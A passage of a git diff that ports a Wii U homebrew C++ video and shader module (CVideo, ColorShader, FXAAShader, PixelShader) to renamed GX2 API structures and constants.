tvDepthBuffer.surface.imageSize); //! Setup TV HiZ buffer GX2CalcDepthBufferHiZInfo(&tvDepthBuffer, &size, &align); - tvDepthBuffer.hiZ_data = MEM1_alloc(size, align); - GX2Invalidate(GX2_INVALIDATE_CPU, tvDepthBuffer.hiZ_data, size); + tvDepthBuffer.hiZPtr = MEM1_alloc(size, align); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvDepthBuffer.hiZPtr, size); GX2InitDepthBufferHiZEnable(&tvDepthBuffer, GX2_ENABLE); //! Setup color buffer for DRC rendering - GX2InitColorBuffer(&drcColorBuffer, GX2_SURFACE_DIM_2D, 854, 480, 1, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, drcAAMode); - drcColorBuffer.surface.image_data = MEM1_alloc(drcColorBuffer.surface.image_size, drcColorBuffer.surface.align); - GX2Invalidate(GX2_INVALIDATE_CPU, drcColorBuffer.surface.image_data, drcColorBuffer.surface.image_size); + GX2InitColorBuffer(&drcColorBuffer, GX2_SURFACE_DIM_TEXTURE_2D, 854, 480, 1, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, (GX2AAMode)drcAAMode); + drcColorBuffer.surface.image = MEM1_alloc(drcColorBuffer.surface.imageSize, drcColorBuffer.surface.alignment); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcColorBuffer.surface.image, drcColorBuffer.surface.imageSize); //! Setup DRC depth buffer (can be the same for both if rendered one after another) - GX2InitDepthBuffer(&drcDepthBuffer, GX2_SURFACE_DIM_2D, drcColorBuffer.surface.width, drcColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_TCD_R32_FLOAT, drcAAMode); - drcDepthBuffer.surface.image_data = MEM1_alloc(drcDepthBuffer.surface.image_size, drcDepthBuffer.surface.align); - GX2Invalidate(GX2_INVALIDATE_CPU, drcDepthBuffer.surface.image_data, drcDepthBuffer.surface.image_size); + GX2InitDepthBuffer(&drcDepthBuffer, GX2_SURFACE_DIM_TEXTURE_2D, drcColorBuffer.surface.width, drcColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_FLOAT_R32, (GX2AAMode)drcAAMode); + drcDepthBuffer.surface.image = MEM1_alloc(drcDepthBuffer.surface.imageSize, drcDepthBuffer.surface.alignment); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcDepthBuffer.surface.image, drcDepthBuffer.surface.imageSize); //! Setup DRC HiZ buffer GX2CalcDepthBufferHiZInfo(&drcDepthBuffer, &size, &align); - drcDepthBuffer.hiZ_data = MEM1_alloc(size, align); - GX2Invalidate(GX2_INVALIDATE_CPU, drcDepthBuffer.hiZ_data, size); + drcDepthBuffer.hiZPtr = MEM1_alloc(size, align); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcDepthBuffer.hiZPtr, size); GX2InitDepthBufferHiZEnable(&drcDepthBuffer, GX2_ENABLE); @@ -143,25 +138,25 @@ CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) { u32 auxSize, auxAlign; GX2CalcColorBufferAuxInfo(&tvColorBuffer, &auxSize, &auxAlign); - tvColorBuffer.aux_data = MEM1_alloc(auxSize, auxAlign); - if(!tvColorBuffer.aux_data) - tvColorBuffer.aux_data = MEM2_alloc(auxSize, auxAlign); + tvColorBuffer.aaBuffer = MEM1_alloc(auxSize, auxAlign); + if(!tvColorBuffer.aaBuffer) + tvColorBuffer.aaBuffer = MEM2_alloc(auxSize, auxAlign); - tvColorBuffer.aux_size = auxSize; - memset(tvColorBuffer.aux_data, GX2_AUX_BUFFER_CLEAR_VALUE, auxSize); - GX2Invalidate(GX2_INVALIDATE_CPU, tvColorBuffer.aux_data, auxSize); + tvColorBuffer.aaSize = auxSize; + memset(tvColorBuffer.aaBuffer, GX2_AA_BUFFER_CLEAR_VALUE, auxSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvColorBuffer.aaBuffer, auxSize); } if (drcColorBuffer.surface.aa) { u32 auxSize, auxAlign; GX2CalcColorBufferAuxInfo(&drcColorBuffer, &auxSize, &auxAlign); - drcColorBuffer.aux_data = MEM1_alloc(auxSize, auxAlign); - if(!drcColorBuffer.aux_data) - drcColorBuffer.aux_data = MEM2_alloc(auxSize, auxAlign); - drcColorBuffer.aux_size = auxSize; - memset(drcColorBuffer.aux_data, GX2_AUX_BUFFER_CLEAR_VALUE, auxSize); - GX2Invalidate(GX2_INVALIDATE_CPU, drcColorBuffer.aux_data, auxSize ); + drcColorBuffer.aaBuffer = MEM1_alloc(auxSize, auxAlign); + if(!drcColorBuffer.aaBuffer) + drcColorBuffer.aaBuffer = MEM2_alloc(auxSize, auxAlign); + drcColorBuffer.aaSize = auxSize; + memset(drcColorBuffer.aaBuffer, GX2_AA_BUFFER_CLEAR_VALUE, auxSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcColorBuffer.aaBuffer, auxSize); } //! allocate memory and setup context state TV @@ -200,11 +195,11 @@ CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) viewMtx = glm::translate(viewMtx, glm::vec3(0.0f, 0.0f, -2.5f)); viewMtx = glm::rotate(viewMtx, DegToRad(cam_X_rot), glm::vec3(1.0f, 0.0f, 0.0f)); - GX2InitSampler(&aaSampler, GX2_TEX_CLAMP_CLAMP, GX2_TEX_XY_FILTER_BILINEAR); - GX2InitTexture(&tvAaTexture, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, 0, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_DEFAULT); - tvAaTexture.surface.image_data = tvColorBuffer.surface.image_data; - tvAaTexture.surface.image_size = tvColorBuffer.surface.image_size; - tvAaTexture.surface.mip_data = tvColorBuffer.surface.mip_data; + GX2InitSampler(&aaSampler, GX2_TEX_CLAMP_MODE_CLAMP, GX2_TEX_XY_FILTER_MODE_LINEAR); + GX2InitTexture(&tvAaTexture, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, 0, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_DEFAULT); + tvAaTexture.surface.image = tvColorBuffer.surface.image; + tvAaTexture.surface.imageSize = tvColorBuffer.surface.imageSize; + tvAaTexture.surface.mipmaps = tvColorBuffer.surface.mipmaps; } CVideo::~CVideo() @@ -220,36 +215,35 @@ CVideo::~CVideo() MEMBucket_free(tvScanBuffer); MEMBucket_free(drcScanBuffer); //! free color buffers - MEM1_free(tvColorBuffer.surface.image_data); - MEM1_free(drcColorBuffer.surface.image_data); + MEM1_free(tvColorBuffer.surface.image); + MEM1_free(drcColorBuffer.surface.image); //! free depth buffers - MEM1_free(tvDepthBuffer.surface.image_data); - MEM1_free(tvDepthBuffer.hiZ_data); - MEM1_free(drcDepthBuffer.surface.image_data); - MEM1_free(drcDepthBuffer.hiZ_data); + MEM1_free(tvDepthBuffer.surface.image); + MEM1_free(tvDepthBuffer.hiZPtr); + MEM1_free(drcDepthBuffer.surface.image); + MEM1_free(drcDepthBuffer.hiZPtr); //! free context buffers MEM2_free(tvContextState); MEM2_free(drcContextState); //! free aux buffer - if(tvColorBuffer.aux_data) + if(tvColorBuffer.aaBuffer) { - if(((u32)tvColorBuffer.aux_data & 0xF0000000) == 0xF0000000) - MEM1_free(tvColorBuffer.aux_data); + if(((u32)tvColorBuffer.aaBuffer & 0xF0000000) == 0xF0000000) + MEM1_free(tvColorBuffer.aaBuffer); else - MEM2_free(tvColorBuffer.aux_data); + MEM2_free(tvColorBuffer.aaBuffer); } - if(drcColorBuffer.aux_data) + if(drcColorBuffer.aaBuffer) { - if(((u32)drcColorBuffer.aux_data & 0xF0000000) == 0xF0000000) - MEM1_free(drcColorBuffer.aux_data); + if(((u32)drcColorBuffer.aaBuffer & 0xF0000000) == 0xF0000000) + MEM1_free(drcColorBuffer.aaBuffer); else - MEM2_free(drcColorBuffer.aux_data); + MEM2_free(drcColorBuffer.aaBuffer); } //! destroy shaders ColorShader::destroyInstance(); FXAAShader::destroyInstance(); Shader3D::destroyInstance(); - ShaderFractalColor::destroyInstance(); Texture2DShader::destroyInstance(); } @@ -258,33 +252,13 @@ void CVideo::renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler) resolution[0] = texture->surface.width; resolution[1] = texture->surface.height; - GX2Invalidate(GX2_INVALIDATE_COLOR_BUFFER | GX2_INVALIDATE_TEXTURE, texture->surface.image_data, texture->surface.image_size); + GX2Invalidate((GX2InvalidateMode)(GX2_INVALIDATE_MODE_COLOR_BUFFER | GX2_INVALIDATE_MODE_TEXTURE), texture->surface.image, texture->surface.imageSize); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_ALWAYS); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_ALWAYS); FXAAShader::instance()->setShaders(); FXAAShader::instance()->setAttributeBuffer(); FXAAShader::instance()->setResolution(resolution); FXAAShader::instance()->setTextureAndSampler(texture, sampler); FXAAShader::instance()->draw(); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); -} - -void* CVideo::GX2RAlloc(u32 flags, u32 size, u32 align) -{ - //! min. alignment - if (align < 4) - align = 4; - - if ((flags & 0x2040E) && !(flags & 0x40000)) - return MEM1_alloc(size, align); - else - return MEM2_alloc(size, align); -} - -void CVideo::GX2RFree(u32 flags, void* p) -{ - if ((flags & 0x2040E) && !(flags & 0x40000)) - MEM1_free(p); - else - MEM2_free(p); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); } diff --git a/src/video/CVideo.h b/src/video/CVideo.h index e9b457e..2539c21 100644 --- a/src/video/CVideo.h +++ b/src/video/CVideo.h @@ -17,7 +17,14 @@ #ifndef __CVIDEO_H_ #define __CVIDEO_H_ -#include "dynamic_libs/gx2_functions.h" +#include +#include +#include +#include +#include +#include +#include + #include "shaders/Shader.h" class CVideo @@ -42,15 +49,15 @@ public: void prepareRendering(void) { GX2ClearColor(currColorBuffer, 0.0f, 0.0f, 0.0f, 1.0f); - GX2ClearDepthStencilEx(currDepthBuffer, currDepthBuffer->clear_depth, currDepthBuffer->clear_stencil, GX2_CLEAR_BOTH); + GX2ClearDepthStencilEx(currDepthBuffer, currDepthBuffer->depthClear, currDepthBuffer->stencilClear, GX2_CLEAR_FLAGS_BOTH); GX2SetContextState(currContextState); GX2SetViewport(0.0f, 0.0f, currColorBuffer->surface.width, currColorBuffer->surface.height, 0.0f, 1.0f); GX2SetScissor(0, 0, currColorBuffer->surface.width, currColorBuffer->surface.height); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); GX2SetColorControl(GX2_LOGIC_OP_COPY, 1, GX2_DISABLE, GX2_ENABLE); - GX2SetBlendControl(GX2_RENDER_TARGET_0, GX2_BLEND_SRC_ALPHA, GX2_BLEND_ONE_MINUS_SRC_ALPHA, GX2_BLEND_COMBINE_ADD, GX2_ENABLE, GX2_BLEND_SRC_ALPHA, GX2_BLEND_ONE_MINUS_SRC_ALPHA, GX2_BLEND_COMBINE_ADD); + GX2SetBlendControl(GX2_RENDER_TARGET_0, GX2_BLEND_MODE_SRC_ALPHA, GX2_BLEND_MODE_INV_SRC_ALPHA, GX2_BLEND_COMBINE_MODE_ADD, GX2_ENABLE, GX2_BLEND_MODE_SRC_ALPHA, GX2_BLEND_MODE_INV_SRC_ALPHA, GX2_BLEND_COMBINE_MODE_ADD); GX2SetCullOnlyControl(GX2_FRONT_FACE_CCW, GX2_DISABLE, GX2_ENABLE); } @@ -59,21 +66,21 @@ public: if(bEnable) { GX2SetStencilMask(0xff, 0xff, 0x01, 0xff, 0xff, 0x01); - GX2SetDepthStencilControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_LEQUAL, GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_ALWAYS, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_REPLACE, - GX2_COMPARE_ALWAYS, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_REPLACE); + GX2SetDepthStencilControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_LEQUAL, GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_ALWAYS, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_REPLACE, + GX2_COMPARE_FUNC_ALWAYS, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_REPLACE); } else { GX2SetStencilMask(0xff, 0xff, 0xff, 0xff, 0xff, 0xff); - GX2SetDepthStencilControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL, GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_NEVER, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, - GX2_COMPARE_NEVER, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP); + GX2SetDepthStencilControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL, GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_NEVER, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, + GX2_COMPARE_FUNC_NEVER, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP); } } void drcDrawDone(void) { //! on DRC we do a hardware AA because FXAA does not look good //renderFXAA(&drcAaTexture, &aaSampler); - GX2CopyColorBufferToScanBuffer(&drcColorBuffer, GX2_SCAN_TARGET_DRC_FIRST); + GX2CopyColorBufferToScanBuffer(&drcColorBuffer, GX2_SCAN_TARGET_DRC); } void tvDrawDone(void) { @@ -161,9 +168,6 @@ public: rayDirection = glm::normalize(rayDirectionWorld); } private: - static void *GX2RAlloc(u32 flags, u32 size, u32 align); - static void GX2RFree(u32 flags, void* p); - void renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler); void *gx2CommandBuffer; diff --git a/src/video/shaders/ColorShader.cpp b/src/video/shaders/ColorShader.cpp index d8e963e..bc4a050 100644 --- a/src/video/shaders/ColorShader.cpp +++ b/src/video/shaders/ColorShader.cpp @@ -116,7 +116,7 @@ ColorShader::ColorShader() pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); colorIntensityLocation = 0; - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_SHADER_VAR_TYPE_FLOAT4, 1, colorIntensityLocation, -1 }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); @@ -124,18 +124,18 @@ ColorShader::ColorShader() angleLocation = 0; offsetLocation = 4; scaleLocation = 8; - vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_VAR_TYPE_FLOAT, 1, angleLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_VAR_TYPE_VEC3, 1, offsetLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_VAR_TYPE_VEC3, 1, scaleLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_SHADER_VAR_TYPE_FLOAT, 1, angleLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_SHADER_VAR_TYPE_FLOAT3, 1, offsetLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_SHADER_VAR_TYPE_FLOAT3, 1, scaleLocation, -1 }); colorLocation = 1; positionLocation = 0; - vertexShader.addAttribVar((GX2AttribVar){ "attr_color", GX2_VAR_TYPE_VEC4, 0, colorLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_color", GX2_SHADER_VAR_TYPE_FLOAT4, 0, colorLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT3, 0, positionLocation }); //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), colorLocation, 1, 0, GX2_ATTRIB_FORMAT_8_8_8_8_UNORM); + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), colorLocation, 1, 0, GX2_ATTRIB_FORMAT_UNORM_8_8_8_8); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); @@ -150,7 +150,7 @@ ColorShader::ColorShader() positionVtxs[i++] = 1.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 0.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 0.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, positionVtxs, cuPositionVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, positionVtxs, cuPositionVtxsSize); } } diff --git a/src/video/shaders/FXAAShader.cpp b/src/video/shaders/FXAAShader.cpp index f86087b..3b46733 100644 --- a/src/video/shaders/FXAAShader.cpp +++ b/src/video/shaders/FXAAShader.cpp @@ -172,22 +172,22 @@ FXAAShader::FXAAShader() pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); resolutionLocation = 0; - pixelShader.addUniformVar((GX2UniformVar){ "unf_resolution", GX2_VAR_TYPE_VEC2, 1, resolutionLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_resolution", GX2_SHADER_VAR_TYPE_FLOAT2, 1, resolutionLocation, -1 }); samplerLocation = 0; - pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); + pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_VAR_TYPE_SAMPLER_2D, samplerLocation }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); positionLocation = 0; texCoordLocation = 1; - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT3, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_SHADER_VAR_TYPE_FLOAT2, 0, texCoordLocation }); //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); @@ -202,14 +202,14 @@ FXAAShader::FXAAShader() posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVtxs, ciPositionVtxsSize); i = 0; texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, texCoords, ciTexCoordsVtxsSize); } FXAAShader::~FXAAShader() diff --git a/src/video/shaders/FXAAShader.h b/src/video/shaders/FXAAShader.h index b7604bc..30d9c5d 100644 --- a/src/video/shaders/FXAAShader.h +++ b/src/video/shaders/FXAAShader.h @@ -56,8 +56,8 @@ public: } void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { - GX2SetPixelTexture(texture, samplerLocation); - GX2SetPixelSampler(sampler, samplerLocation); + GX2SetPixelTexture((GX2Texture*)texture, samplerLocation); + GX2SetPixelSampler((GX2Sampler*)sampler, samplerLocation); } private: diff --git a/src/video/shaders/FetchShader.h b/src/video/shaders/FetchShader.h index 292052f..8152178 100644 --- a/src/video/shaders/FetchShader.h +++ b/src/video/shaders/FetchShader.h @@ -22,17 +22,17 @@ class FetchShader : public Shader { public: - FetchShader(GX2AttribStream * attributes, u32 attrCount, s32 type = GX2_FETCH_SHADER_TESSELATION_NONE, s32 tess = GX2_TESSELLATION_MODE_DISCRETE) + FetchShader(GX2AttribStream * attributes, u32 attrCount, GX2FetchShaderType type = GX2_FETCH_SHADER_TESSELLATION_NONE, GX2TessellationMode tess = GX2_TESSELLATION_MODE_DISCRETE) : fetchShader(NULL) , fetchShaderProgramm(NULL) { u32 shaderSize = GX2CalcFetchShaderSizeEx(attrCount, type, tess); - fetchShaderProgramm = memalign(GX2_SHADER_ALIGNMENT, shaderSize); + fetchShaderProgramm = (uint8_t*)memalign(GX2_SHADER_ALIGNMENT, shaderSize); if(fetchShaderProgramm) { fetchShader = new GX2FetchShader; GX2InitFetchShaderEx(fetchShader, fetchShaderProgramm, attrCount, attributes, type, tess); - GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, fetchShaderProgramm, shaderSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_SHADER, fetchShaderProgramm, shaderSize); } } virtual ~FetchShader() { @@ -52,7 +52,7 @@ public: protected: GX2FetchShader *fetchShader; - void *fetchShaderProgramm; + uint8_t *fetchShaderProgramm; }; #endif // FETCH_SHADER_H diff --git a/src/video/shaders/PixelShader.h b/src/video/shaders/PixelShader.h index a1fa76b..8bb8a8e 100644 --- a/src/video/shaders/PixelShader.h +++ b/src/video/shaders/PixelShader.h @@ -28,39 +28,39 @@ public: if(pixelShader) { memset(pixelShader, 0, sizeof(GX2PixelShader)); - pixelShader->shader_mode = GX2_SHADER_MODE_UNIFORM_REGISTER; + pixelShader->mode = GX2_SHADER_MODE_UNIFORM_REGISTER; } } virtual ~PixelShader() { if(pixelShader) { - if(pixelShader->shader_data) - free(pixelShader->shader_data); + if(pixelShader->program) + free(pixelShader->program); - for(u32 i = 0; i < pixelShader->uniform_blocks_count; i++) - free((void*)pixelShader->uniform_block[i].name); + for(u32 i = 0; i < pixelShader->uniformBlockCount; i++) + free((void*)pixelShader->uniformBlocks[i].name); - if(pixelShader->uniform_block) - free((void*)pixelShader->uniform_block); + if(pixelShader->uniformBlocks) + free((void*)pixelShader->uniformBlocks); - for(u32 i = 0; i < pixelShader->uniform_vars_count; i++) - free((void*)pixelShader->uniform_var[i].name); + for(u32 i = 0; i < pixelShader->uniformVarCount; i++) + free((void*)pixelShader->uniformVars[i].name); - if(pixelShader->uniform_var) - free((void*)pixelShader->uniform_var); + if(pixelShader->uniformVars) + free((void*)pixelShader->uniformVars); - if(pixelShader->initial_value) - free((void*)pixelShader->initial_value); + if(pixelShader->initialValues) + free((void*)pixelShader->initialValues); - for(u32 i = 0; i < pixelShader->sampler_vars_count; i++) - free((void*)pixelShader->sampler_var[i].name); + for(u32 i = 0; i < pixelShader->samplerVarCount; i++) + free((void*)pixelShader->samplerVars[i].name); - if(pixelShader->sampler_var) - free((void*)pixelShader->sampler_var); + if(pixelShader->samplerVars) + free((void*)pixelShader->samplerVars); - if(pixelShader->loops_data) - free((void*)pixelShader->loops_data); + if(pixelShader->loopVars) + free((void*)pixelShader->loopVars); free(pixelShader); } @@ -72,15 +72,15 @@ public: return; //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100 - pixelShader->shader_size = programSize; - pixelShader->shader_data = memalign(GX2_SHADER_ALIGNMENT, pixelShader->shader_size); - if(pixelShader->shader_data) + pixelShader->size = programSize; + pixelShader->program = (u8*)memalign(GX2_SHADER_ALIGNMENT, pixelShader->size); + if(pixelShader->program) { - memcpy(pixelShader->shader_data, program, pixelShader->shader_size); - GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, pixelShader->shader_data, pixelShader->shader_size); + memcpy(pixelShader->program, program, pixelShader->size); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_SHADER, pixelShader->program, pixelShader->size); } - memcpy(pixelShader->regs, regs, regsSize); + memcpy(&pixelShader->regs, regs, regsSize); } void addUniformVar(const GX2UniformVar & var) @@ -88,23 +88,23 @@ public: if(!pixelShader) return; - u32 idx = pixelShader->uniform_vars_count; + u32 idx = pixelShader->uniformVarCount; - GX2UniformVar* newVar = (GX2UniformVar*) malloc((pixelShader->uniform_vars_count + 1) * sizeof(GX2UniformVar)); + GX2UniformVar* newVar = (GX2UniformVar*) malloc((pixelShader->uniformVarCount + 1) * sizeof(GX2UniformVar)); if(newVar) { - if(pixelShader->uniform_var) + if(pixelShader->uniformVars) { - memcpy(newVar, pixelShader->uniform_var, pixelShader->uniform_vars_count * sizeof(GX2UniformVar)); - free(pixelShader->uniform_var); + memcpy(newVar, pixelShader->uniformVars, pixelShader->uniformVarCount * sizeof(GX2UniformVar)); + free(pixelShader->uniformVars); } - pixelShader->uniform_var = newVar; + pixelShader->uniformVars = newVar; - memcpy(pixelShader->uniform_var + idx, &var, sizeof(GX2UniformVar)); - pixelShader->uniform_var[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)pixelShader->uniform_var[idx].name, var.name); + memcpy(pixelShader->uniformVars + idx, &var, sizeof(GX2UniformVar)); + pixelShader->uniformVars[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)pixelShader->uniformVars[idx].name, var.name); - pixelShader->uniform_vars_count++; + pixelShader->uniformVarCount++; } } @@ -113,23 +113,23 @@ public: if(!pixelShader) return; - u32 idx = pixelShader->sampler_vars_count; + u32 idx = pixelShader->samplerVarCount; - GX2SamplerVar* newVar = (GX2SamplerVar*) malloc((pixelShader->sampler_vars_count + 1) * sizeof(GX2SamplerVar)); + GX2SamplerVar* newVar = (GX2SamplerVar*) malloc((pixelShader->samplerVarCount + 1) * sizeof(GX2SamplerVar)); if(newVar) { - if(pixelShader->sampler_var) + if(pixelShader->samplerVars) { - memcpy(newVar, pixelShader->sampler_var, pixelShader->sampler_vars_count * sizeof(GX2SamplerVar)); - free(pixelShader->sampler_var); + memcpy(newVar, pixelShader->samplerVars, pixelShader->samplerVarCount * sizeof(GX2SamplerVar)); + free(pixelShader->samplerVars); } - pixelShader->sampler_var = newVar; + pixelShader->samplerVars = newVar; - memcpy(pixelShader->sampler_var + idx, &var, sizeof(GX2SamplerVar)); - pixelShader->sampler_var[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)pixelShader->sampler_var[idx].name, var.name); + memcpy(pixelShader->samplerVars + idx, &var, sizeof(GX2SamplerVar)); + pixelShader->samplerVars[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)pixelShader->samplerVars[idx].name, var.name); - pixelShader->sampler_vars_count++; + pixelShader->samplerVarCount++; } } GX2PixelShader * getPixelShader() const { @@ -141,7 +141,7 @@ public: } static inline void setUniformReg(u32 location, u32 size, const void * reg) { - GX2SetPixelUniformReg(location, size, reg); + GX2SetPixelUniformReg(location, size, (uint32_t *)reg); } protected: GX2PixelShader *pixelShader; diff --git a/src/video/shaders/Shader.h b/src/video/shaders/Shader.h index 93741d5..2c4f580 100644 --- a/src/video/shaders/Shader.h +++ b/src/video/shaders/Shader.h @@ -19,9 +19,18 @@ #include "glm/glm.hpp" #include "glm/gtc/matrix_transform.hpp" -#include "dynamic_libs/gx2_functions.h" #include "utils/utils.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include "common/gx2_ext.h" + class Shader { protected: @@ -36,34 +45,34 @@ public: GX2SetLineWidth(width); } - static void draw(s32 primitive = GX2_PRIMITIVE_QUADS, 